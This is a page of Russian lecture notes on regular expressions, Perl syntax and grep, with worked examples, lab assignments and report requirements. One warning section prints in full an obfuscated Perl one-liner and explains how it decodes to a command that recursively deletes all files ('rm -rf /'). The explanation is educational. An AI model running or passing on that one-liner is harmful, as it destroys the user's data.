Лекции по дискретке (1021001), страница 22
Текст из файла (страница 22)
¦ () — группировка
¦ [] — класс символов
Метасимволы имеют модификаторы (пишутся после метасимвола):
¦ * — повторяется 0 или большее число раз
¦ + — 1 или большее число раз
¦ ? — 1 или 0 раз
¦ {n} — точно n раз
¦ {n,} — по меньшей мере n раз
¦ {n,m} — не меньше n, но и не больше m
Во все других случаях фигурные скобки считаются обычными (не терминальными) символами.
Таким образом:
“*” эквивалентна { 0,} ,
“+” — { 1,} ,
“?” — { 0,1} .
n и m не могут быть больше 65536.
По умолчанию действие метасимволов “жадно” (greedy). Совпадение распространяется столько раз, сколько возможно, не учитывая результат действия следующих метасимволов. Если вы хотите “уменьшить их аппетит”, то используйте символ “?”. Это не изменяет значение метасимволов, просто уменьшает распространение.
Таким образом:
¦ *? — 0 и более
¦ +? — 1 и более
¦ ?? — 0 или 1 раз
¦ { n} ? — точно n раз
¦ { n,} ? — не меньше n раз
¦ { n,m} ? — больше или равно n и меньше m раз
Шаблоны работают так же, как и двойные кавычки (в С++, PERL), поэтому в них можно использовать “\” — символы (бэкслэш-символы):
¦ \ t — символ табуляции
¦ \ n — новая строка
¦ \ r — перевод каретки
¦ \ а — перевод формата
¦ \ v — вертикальная табуляция
¦ \ a — звонок
¦ \ e — escape
¦ \ 033 — восьмеричная запись символа
¦ \ x1A — шестнадцатеричная
¦ \ c — control символ
¦ \ l — нижний регистр следующего символа
¦ \ u — верхний регистр
¦ \ L — все символы в нижнем регистре до \ E
¦ \ U — то же в верхнем регистре
¦ \ E — ограничитель смены регистра
¦ \ Q — отмена действия как метасимвола
Дополнительно в Perl добавлены следующие метасимволы:
¦ \ w — алфавитно-цифровой или '_' символ
¦ \ W — не алфавитно-цифровой или '_' символ
¦ \ s — один пробел
¦ \ S — один не пробел
¦ \ d — одна цифра
¦ \ D — одна не цифра
Обратите внимание, что все это “один” символ.
Для обозначения последовательности применяйте модификаторы. Так:
¦ \ w+ — слово
¦ \ d+ — целое число
¦ [+-]?\ d+ — целое со знаком
¦ [+-]?\ d+\ .?\ d* — число с точкой
Кроме того существуют мнимые метасимволы. Обозначающие не существующие символы в месте смены значения. Такие как:
¦ \ b — граница слова
¦ \ B — не граница слова
¦ \ A — начало строки
¦ \ Z — конец строки
¦ \ G — конец действия m//g
Граница слова (\ b) — это мнимая точка между символами \ w и \ W. Внутри класса символов \ b обозначает символ backspace (стирания). Метасимволы \ A и \ Z — аналогичны “^” и “$”, но если начало строки “^” и конец строки “$” действуют для каждой строки в многострочной строке, то \A и \Z обозначают начало и конец всей многострочной строки. Если внутри шаблона применяется группировка (круглые скобки), то номер подстроки группы обозначается как “\ цифра”.
Заметьте, что за шаблоном в пределах выражения или блока эти группы обозначаются как “$цифра”. Кроме этого существуют дополнительные переменные:
¦ $+ — обозначает последнее совпадение
¦ $& — все совпадение
¦ $` — все до совпадения
¦ $' — все после совпадения
Например:
$s = "Один 1 два 2 и три 3";
if ($s =~ /(\ d+)\ D+(\ d+)/)
{
print "$1\ n";# Результат '1'
print "$2\ n";# '2'
print "$+\ n";# '2'
print "$&\ n";# '1 два 2'
print "$`\ n";# 'Один '
print "$'\ n";# ' и три 3'
}
8.03.2. Правила регулярного выражения.
-
Любой символ обозначает себя самого, если это не метасимвол. Если вам нужно отменить действие метасимвола, то поставьте перед ним “\”.
-
Строка символов обозначает строку этих символов.
-
Множество возможных символов (класс) заключается в квадратные скобки [], это значит, что в данном месте может стоять один из указанных в скобках символов. Если первый символ в скобках это “^” — значит ни один из указанных символов не может стоять в данном месте выражения. Внутри класса можно употреблять символ “-”, обозначающий диапазон символов. Например, a-z — один из малых букв латинского алфавита, 0-9 — цифра.
-
Все символы, включая специальные, можно обозначать с помощью “\” как в языке С.
-
Альтернативные последовательности разделяются символом “|” Заметьте что внутри квадратных скобок это обычный символ.
-
Внутри регулярного выражения можно указывать “подшаблоны”, заключая их в круглые скобки и ссылаться на них как “\ номер”. Первая скобка обозначается как “\ 1”.
75.Установка необходимого программного обеспечения.
Для выполнения практического задания достаточно использовать фильтр grep с синтаксисом PERL рекурсивно (параметр –Pr).
grep — утилита командной строки, которая находит на вводе строки, отвечающие заданному регулярному выражению, и выводит их, если вывод не отменён специальным ключом. Название представляет собой акроним английской фразы «search globally for lines matching the regular expression, and print them» — «искать везде строки, соответствующие регулярному выражению, и выводить их».
Изначально была создана для операционной системы UNIX, и поэтому для Linux подобных операционных систем команда grep присутствует по умолчанию.
Пользователям Windows можно загрузить интерпретатор PERL (http://www.perl.org/get.html), также существует portable версия, которая не требует установки.
Наиболее простым и безопасным вариантом является использование портированной под windows утилиты grep из UnixUtils (http://rusakovam.narod.ru/lec/dm/lit/grep.exe). Далее, можно скопировать grep.exe в каталог Windows, тогда эта утилита будет запускаться также как и под LINUX, то есть в обычном для неё синтаксисе.
Команда поиска регулярного выражения в файле имеет синтаксис:
grep -Pr "RegExp" File,
где –Pr означает использовать синтаксис PERL рекурсивно;
RegExp – это регулярное выражение;
File – полный путь к файлу;
76.Замечания.
Будьте осторожны, необдуманные эксперименты с регулярными выражениями могут привести к печальным последствиям.
Одним из таких примеров является вызвавшая большой резонанс программа, так как на самом деле она является замаскированной командой рекурсивного удаления всех файлов, право на удаление которых есть у текущего пользователя:
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
echo "test... test... test..." выполнение этой команды не влияет на работу и добавлено, скорее всего, для усыпления бдительности.
То, что происходит в остальном коде — совсем не очевидно из-за преднамеренно запутанного написания. В данной строчке записано всего три последовательно выполняемых команды. Запишем команду следующим образом:
$? ? s:;s:s;;$?: : s;;=]=>%-{<-|}<&|`{; ;
y; -/:-@[-`{-};`-{/" -; ;
s;;$_;see
Первая конструкция анализирует переменную $? — код возврата предыдущей команды. Так как перед выполнением этой конструкции дочерних процессов не создавалось, $? будет содержать 0, и выполнена будет вторая «ветка» — s;;=]=>%-{<-|}<&|`{;. Эта команда, в свою очередь, заменяет строку в переменной-аккумуляторе $_ на =]=>%-{<-|}<&|`{ (первый символ после s устанавливает ограничитель параметров этого оператора, и хотя традиционно используются слэш '/' или '|', для неясности в этой конструкции используется ограничитель ';').
Вторая команда транслирует содержимое «аккумулятора» по достаточно сложным правилам. В левой части указано четыре диапазона символов, в правой — один. Если раскрыть эти диапазоны, получим следующее соответствие:
!"#$%&'()*+,-./:;<=>?@[\]^_`{|}
`abcdefghijklmnopqrstuvwxyz{/" -
В результате содержимое $_ принимает вид
system"rm -rf /"
Третья же команда дважды (как инструктирует флаг ee) «вычисляет» содержимое аккумулятора — вышеуказанную деструктивную команду — и пытается заменить пустую строку в аккумуляторе на результат вычисления.
77.Методический пример.
-
Найти все строки в файле grep.txt, начинающихся с символа «+».
grep -Pr "^[+]" r:\grep.txt
-
Найти все строки в файле grep.txt, в формате одна цифра символ “+” одна цифра.
grep -Pr "[0-9]\+[0-9]" r:\grep.txt
grep -Pr "\d\+\d" r:\grep.txt
-
Найти все строки в файле grep.txt, в формате +x-xxx-xxxxxxx, где x – это цифра.
grep -Pr "^(\+)(\d{1})(\-)(\d{3})(\-)(\d{7})$" r:\grep.txt
-
Найти все строки в файле grep.txt, в содержащие цифру с точкой.
grep -Pr "^([+-]?)(\d+)(\.?)(\d*)$" r:\grep.txt
78.Контрольная распечатка.
grep -Pr "^[+]" r:\grep.txt
+7-123-7654321
+7-123-7654321
+7-123-7654521
+7-123-1234567
+7-123-765432111
+7-926-5550001
+MGUPI
+6777
grep -Pr "[0-9]\+[0-9]" r:\grep.txt
11+1
5+2
33+8
grep -Pr "\d\+\d" r:\grep.txt
11+1
5+2
33+8
grep -Pr "^(\+)(\d{1})(\-)(\d{3})(\-)(\d{7})$" r:\grep.txt
+7-123-7654321
+7-123-7654321
+7-123-7654521
+7-123-1234567
+7-926-5550001
grep -Pr "^([+-]?)(\d+)(\.?)(\d*)$" r:\grep.txt
-17.98
+6777
22.08
79.Отчет по практической работе.
Отчет оформляется в соответствии с требованиями, предъявляемыми к оформлению лабораторных работ в вузе, и должен содержать:
-
Титульный лист.
-
Наименование и цель работы.
-
Исходные данные варианта задания.
-
Полученное регулярное выражение.
-
Контрольная распечатка.
Замечание: листы отчета должны быть скреплены.
80.Контрольные вопросы.
Что такое регулярное выражение?
Какие действия выполняет команда grep?
Что такое мета символы?
Что такое модификаторы?
Правила регулярного выражения?
81.Варианты заданий.
Вариант задания определяется по последней цифре в зачётной книжке.
-
Регулярное выражение для поиска всех URL адресов содержащих в названии первой директории слова it-6 или it6 или it-5 или it5, в следующем виде: “http://www.mgupi.ru/xxx(it-6 или it6 или it-5 или it5)xxx/index.php”, причём символы x означают любые буквы, которых может и не быть.
-
Регулярное выражение для поиска всех URL адресов содержащих в названии 3-го поддомена слова it-6 или it6 или it-5 или it5, в следующем виде: “http:// xxx(it-6 или it6 или it-5 или it5)xxx.mgupi.ru/main/index.php”, причём символы x означают любые буквы, которых может и не быть.
-
Регулярное выражение для поиска всех URL адресов в следующем виде: “http:// xxx.mgupi.ru/xxx”, причём символы x означают любые буквы, которых может и не быть.
-
Регулярное выражение для поиска всех ip-адресов в диапазоне от 172.22.50.0 до 172.22.116.255.
-
Регулярное выражение для поиска всех ip-адресов в диапазоне от 192.168.10.0 до 192.168.112.255.
-
Регулярное выражение для поиска всех e-mail адресов содержащих в качестве домена 3-го уровня слово “it” и две или одну цифру, в следующем виде: “xxx@xx{слово it две или одна цифра}xxx.mgupi.ru”, причём символы x означают любые буквы, которых может и не быть.
-
Регулярное выражение для поиска всех e-mail адресов содержащих в качестве имени пользователя слова it6 или it5 и две или одну цифру в имени 2-го домена, по следующему формату: “xxx(it6 или it5)xxx@xxx{две или одна цифра}xxx.ru”, причём символы x означают любые буквы, которых может и не быть.
-
Регулярное выражение для поиска всех телефонных номеров c кодом 916 или 903 или 926 в формате +x-(916 или 903 или 926)-xxxxxxx, где x – это одна цифра.
-
Регулярное выражение для поиска всех e-mail адресов содержащих в качестве имени пользователя семь цифр, а в домене 2-го уровня слова it6 или it5, в следующем виде: “ddddddd@xxx(it6 или it5)xxx.xxx.ru”, причём символы x означают любые буквы, которых может и не быть, а d – это одна цифра.
-
Регулярное выражение для поиска всех ip-адресов в диапазоне от 10.131.37.0 до 10.131.158.255.
-
Задания для домашней работы
Вариант определяется по последней цифре в зачётной книжке.